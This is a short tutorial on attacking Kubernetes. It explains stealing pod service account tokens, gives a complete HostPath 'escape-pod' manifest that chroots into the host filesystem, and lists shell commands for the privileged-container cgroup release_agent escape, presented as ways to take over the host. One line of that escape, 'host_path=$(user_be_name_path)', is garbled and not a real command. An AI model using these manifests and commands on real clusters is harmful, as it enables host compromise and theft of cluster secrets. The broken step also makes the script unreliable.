Kubernetes API Server Exploitation and Cluster Escapes

The Kubernetes API Server is the gateway to controlling your entire container orchestration platform. If an attacker gains unauthorized access to it, or exploits misconfigured Role-Based Access Control (RBAC), they can achieve complete cluster takeover.

By default, Kubernetes mounts a service account token inside every pod at /var/run/secrets/kubernetes.io/serviceaccount/token. If a pod is compromised, an attacker can extract this token and query the API server. If the service account has over-privileged cluster roles, the attacker can create new pods, read secrets, or execute commands in other containers.

A classic container escape vector uses HostPath volume mounting. If a user can define a pod spec, they can request host mounts:

apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
spec:
  containers:
  - name: escape-container
    image: alpine
    command: ["/bin/sh", "-c", "chroot /host /bin/sh"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /

Deploying this configuration immediately places the container execution root at the host filesystem level, letting you compromise other containers and the host kernel itself.

In privileged Docker containers, cgroups can be modified from within. Attackers use this to configure the release_agent. When a cgroup processes ends, the kernel executes the command path specified in release_agent on the host itself (outside the container):

# Inside container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(user_be_name_path)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo "#!/bin/sh
ps aux > $host_path/output" > /cmd
chmod +x /cmd
sh -c "echo 0 > /tmp/cgrp/x/cgroup.procs"

This causes the host kernel to execute `/cmd` in host context, returning output back into the container filesystem.